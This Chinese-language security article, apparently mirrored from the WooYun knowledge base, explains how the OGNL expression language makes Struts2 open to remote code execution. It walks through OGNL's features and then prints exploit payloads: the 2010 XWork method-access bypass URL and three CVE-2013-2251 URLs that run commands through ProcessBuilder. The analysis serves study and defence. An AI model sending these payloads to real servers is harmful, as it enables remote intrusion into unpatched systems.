OGNL設計及使用不當造成的遠端程式碼執行漏洞

wyzsk發表於2020-08-19
作者: 紫氣東來 · 2013/07/19 14:48

我們可以把OGNL作為一個底層產品,它在功能實現中的設計缺陷,是如何能夠被利用並遠端執行惡意程式碼的,而不是完全在struts2這個產品的功能設計層面去討論漏洞原由!

什麼是OGNL?

OGNL是Object-Graph Navigation Language的縮寫,它是一種功能強大的表示式語言(Expression Language,簡稱為EL),透過它簡單一致的表示式語法,可以存取物件的任意屬性,呼叫物件的方法,遍歷整個物件的結構圖,實現欄位型別轉化等功能。它使用相同的表示式去存取物件的屬性。 OGNL三要素:(以下部分摘抄網際網路某處,我覺得說得好)

Ognl.setValue("department.name", user2, "dev");

System.out.println(user2.getDepartment().getName());

Ognl.setValue(Ognl.parseexpression_r("department.name"), context, user2, "otherDev");

System.out.println(user2.getDepartment().getName());

Ognl.setValue("department.name", user2, "dev");

System.out.println(user2.getDepartment().getName());

Ognl.setValue(Ognl.parseexpression_r("department.name"), context, user2, "otherDev");

System.out.println(user2.getDepartment().getName());

1. 表示式(Expression)

表示式是整個OGNL的核心,所有的OGNL操作都是針對表示式的解析後進行的。表示式會規定此次OGNL操作到底要幹什麼。我們可以看到,在上面的測試中,name、department.name等都是表示式,表示取name或者department中的name的值。OGNL支援很多型別的表示式,之後我們會看到更多。

2. 根物件(Root Object)

根物件可以理解為OGNL的操作物件。在表示式規定了“幹什麼”以後,你還需要指定到底“對誰幹”。在上面的測試程式碼中,user就是根物件。這就意味著,我們需要對user這個物件去取name這個屬性的值(對user這個物件去設定其中的department中的name屬性值)。

3. 上下文環境(Context)

有了表示式和根物件,我們實際上已經可以使用OGNL的基本功能。例如,根據表示式對根物件進行取值或者設值工作。不過實際上,在OGNL的內部,所有的操作都會在一個特定的環境中執行,這個環境就是OGNL的上下文環境(Context)。說得再明白一些,就是這個上下文環境(Context),將規定OGNL的操作“在哪裡幹”。 OGN L的上下文環境是一個Map結構,稱之為OgnlContext。上面我們提到的根物件(Root Object),事實上也會被加入到上下文環境中去,並且這將作為一個特殊的變數進行處理,具體就表現為針對根物件(Root Object)的存取操作的表示式是不需要增加#符號進行區分的。

Struts 2中的OGNL Context實現者為ActionContext,它結構示意圖如下:

 2013071900034178341.png

當Struts2接受一個請求時,會迅速建立ActionContext,ValueStack,action 。然後把action存放進ValueStack,所以action的例項變數可以被OGNL訪問

那struts2引入OGNL到底用來幹什麼?

我們知道在MVC中,其實所有的工作就是在各層間做資料流轉.

在View層的資料是單一的,只有不帶資料型別的字串.在沒有框架的時代我們使用的是手動寫程式碼或者像struts1一樣利用反射,填充表單資料並轉換到Controller層的物件中,反射轉換成java資料型別的commons元件虛擬碼,如:

import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.beanutils.ConvertUtils;
import org.apache.commons.beanutils.PropertyUtils;

//自動裝載表單及驗證
public class LoadForm {
    //表單裝載
    public static Object parseRequest(HttpServletRequest request,HttpServletResponse response,Object bean) throws ServletException, IOException{
           //取得所有引數列表
           Enumeration<?> enums = request.getParameterNames();
           //遍歷所有引數列表
           while(enums.hasMoreElements()){
            Object obj = enums.nextElement();
            try {
             //取得這個引數在Bean中的資料類開
             Class<?> cls = PropertyUtils.getPropertyType(bean, obj.toString());
             //把相應的資料轉換成對應的資料型別
             Object beanValue = ConvertUtils.convert(request.getParameter(obj.toString()), cls);
             //填充Bean值
             PropertyUtils.setProperty(bean, obj.toString(), beanValue);
            } catch (Exception e) {
                //不顯示異常 e.printStackTrace();
            }
           }
           return bean;
        }   
    }

從Controller層到View層,還是手動寫程式碼然後到頁面上取,如虛擬碼:

request.setAttribute("xxx", "xxx");

而Struts2採納了XWork的一套完美方案(Xwork提供了很多核心功能:前端攔截機(interceptor),執行時表單屬性驗證,型別轉換,強大的表示式語言(OGNL – the Object Graph Navigation Language),IoC(Inversion of Control反轉控制)容器等). 並在此基礎上構建一套所謂完美的機制,OGNL方案和OGNLValueStack機制.

View層到Controller層自動轉儲;然後是Controller層到View層,我們可以使用簡易的表示式取物件資料顯示到頁面,如: ${物件.屬性},節省不少程式碼時間且使用方便.而它的儲存結構就是一棵物件,這裡我們可以把物件樹當成一個java物件暫存器,可以方便新增、訪問物件等。 但是OGNL的這些功能或機制是危險的.

我們列舉一下表示式功能操作清單:

1. 基本物件樹的訪問
物件樹的訪問就是透過使用點號將物件的引用串聯起來進行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx

2. 對容器變數的訪問
對容器變數的訪問,透過#符號加上表示式進行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx

3. 使用運算子號
OGNL表示式中能使用的運算子基本跟Java裡的運算子一樣,除了能使用 +, -, *, /, ++, --, ==, !=, = 等運算子之外,還能使用 mod, in, not in等。

4. 容器、陣列、物件
OGNL支援對陣列和ArrayList等容器的順序訪問:例如:group.users[0]
同時,OGNL支援對Map的按鍵值查詢:
例如:#session['mySessionPropKey']
不僅如此,OGNL還支援容器的構造的表示式:
例如:{"green", "red", "blue"}構造一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}構造一個Map
你也可以透過任意類物件的建構函式進行物件新建:
例如:new Java.net.URL("xxxxxx/")

5. 對靜態方法或變數的訪問
要引用類的靜態方法和欄位,[email protected]@[email protected]@method(args):
例如:@[email protected],@[email protected]

6. 方法呼叫
直接透過類似Java的方法呼叫方式進行,你甚至可以傳遞引數:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)

7. 投影和選擇
OGNL支援類似資料庫中的投影(projection) 和選擇(selection)。
投影就是選出集合中每個元素的相同屬性組成新的集合,類似於關聯式資料庫的欄位操作。投影操作語法為 collection.{XXX},其中XXX 是這個集合中每個元素的公共屬性。
例如:group.userList.{username}將獲得某個group中的所有user的name的列表。
選擇就是過濾滿足selection 條件的集合元素,類似於關聯式資料庫的紀錄操作。選擇操作的語法為:collection.{X YYY},其中X 是一個選擇運算子,後面則是選擇用的邏輯表示式。而選擇運算子有三種:
? 選擇滿足條件的所有元素
^ 選擇滿足條件的第一個元素
$ 選擇滿足條件的最後一個元素
例如:group.userList.{? #txxx.xxx != null}將獲得某個group中user的name不為空的user的列表。

結合之前的漏洞POC,只舉兩例漏洞說明本質問題所在(其他類似,如:安全限制繞過,非必要使用OGNL或奇葩地利用OGNL實現設計功能等).那麼只要struts2的某些功能使用了OGNL功能,且外部引數傳入OGNL流程的,理論上都是能夠執行惡意程式碼的.

參照之前的PoC從“表示式功能操作清單”中選取“危險項清單”,一些危險的功能操作,問題就出現在它們身上,提供了比較有危害PoC的構造條件:

1. 基本物件樹的訪問
物件樹的訪問就是透過使用點號將物件的引用串聯起來進行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx

2. 對容器變數的訪問
對容器變數的訪問,透過#符號加上表示式進行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx

3. 容器、陣列、物件
OGNL支援對陣列和ArrayList等容器的順序訪問:例如:group.users[0]
同時,OGNL支援對Map的按鍵值查詢:
例如:#session['mySessionPropKey']
不僅如此,OGNL還支援容器的構造的表示式:
例如:{"green", "red", "blue"}構造一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}構造一個Map
你也可以透過任意類物件的建構函式進行物件新建:
例如:new Java.net.URL("xxxxxx/")

4. 對靜態方法或變數的訪問
要引用類的靜態方法和欄位,[email protected]@[email protected]@method(args):
例如:@[email protected],@[email protected]

5. 方法呼叫
直接透過類似Java的方法呼叫方式進行,你甚至可以傳遞引數:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)

以及上下文環境和這個struts2設計,當Struts2接受一個請求時,會迅速建立ActionContext,ValueStack,action 。然後把action存放進ValueStack,所以action的例項變數可以被OGNL訪問。

第一個,是2010年7月14號(亮點1:烏雲好象就是這天出生的吧?),"Struts2/XWork < 2.2.0遠端執行任意程式碼漏洞",POC:

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&amp;(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&amp;(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1

也就是這個經典的POC,大家開始第一次認識struts2漏洞(之前也有,只是那時很少有人去關注,或許很容易就能找到一個0day(而且是永遠的0day,回溯一下框架歷史,我不能再提示了!)。 myibatis框架也有引入OGNL的,親!

由於ONGL的呼叫可以透過http傳參來執行,為了防止攻擊者以此來呼叫任意方法,Xwork設定了兩個引數來進行防護:

OgnlContext的屬性 'xwork.MethodAccessor.denyMethodExecution'(預設為真)
SecurityMemberAccess私有欄位'allowStaticMethodAccess'(預設為假)

(這裡我現在還沒想明白,既然都有這步限制了?為什麼後面的那些還會出現,難道官方只會看著公佈的PoC打補丁?)

這裡大家都知道,是使用#限制OgnlContext 'xwork.MethodAccessor.denyMethodExecution'和'allowStaticMethodAccess'上下文訪問以及靜態方法呼叫的值設定.而漏洞作者使用十六進位制編碼繞過了限制,[email protected]@getRuntime()這個靜態方法執行命令.

java.lang.Runtime.getRuntime().exit(1) (終止當前正在執行的 Java 虛擬機器)

在某些struts2漏洞中已經開始改變這個觀念,因為我們很難再繞過上面的安全限制了.去呼叫上下文的屬性及靜態方法執行惡意java程式碼.

但是"危險清單"中還有一個可以利用,OGNL表示式中居然可以去new一個java物件(見危險項清單 3.),對於構造PoC足夠用了,而不需要上面那些條件.(之前也有類似的相關漏洞,我發現官方並不喜歡做程式碼審計的)

Apache Struts CVE-2013-2251 Multiple Remote Command Execution Vulnerabilities

這裡漏洞原理大致是這樣,作者一共提供了三個PoC:

http://www.example.com/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} (這個和後面兩個是有點區別的,多測試目標時你會發現!)

http://www.example.com/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://www.example.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} 





action:
redirect:
redirectAction:

這三關鍵字是struts2設計出來做短地址導航的,但它奇葩地方在於,如:redirectAction:${惡意程式碼}後面可以跟OGNL表示式執行,找這種相關的漏洞很好找(如果還有),檢視struts2原始碼${},%{}等(struts2只認定這些特徵的程式碼進入OGNL表示式執行流程),struts2執行ognl表示式的實現功能的地方.

而java.lang.ProcessBuilder是另外一個可以執行命令的java基礎類,還有後面大家手中的PoC(new檔案操作及輸入輸出流相關危險類等),此時我們發現只要new物件然後呼叫其方法就可以了.不再需要上面的一些靜態方法等.

這裡只能將OGNL和struts2各打50大板了!

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章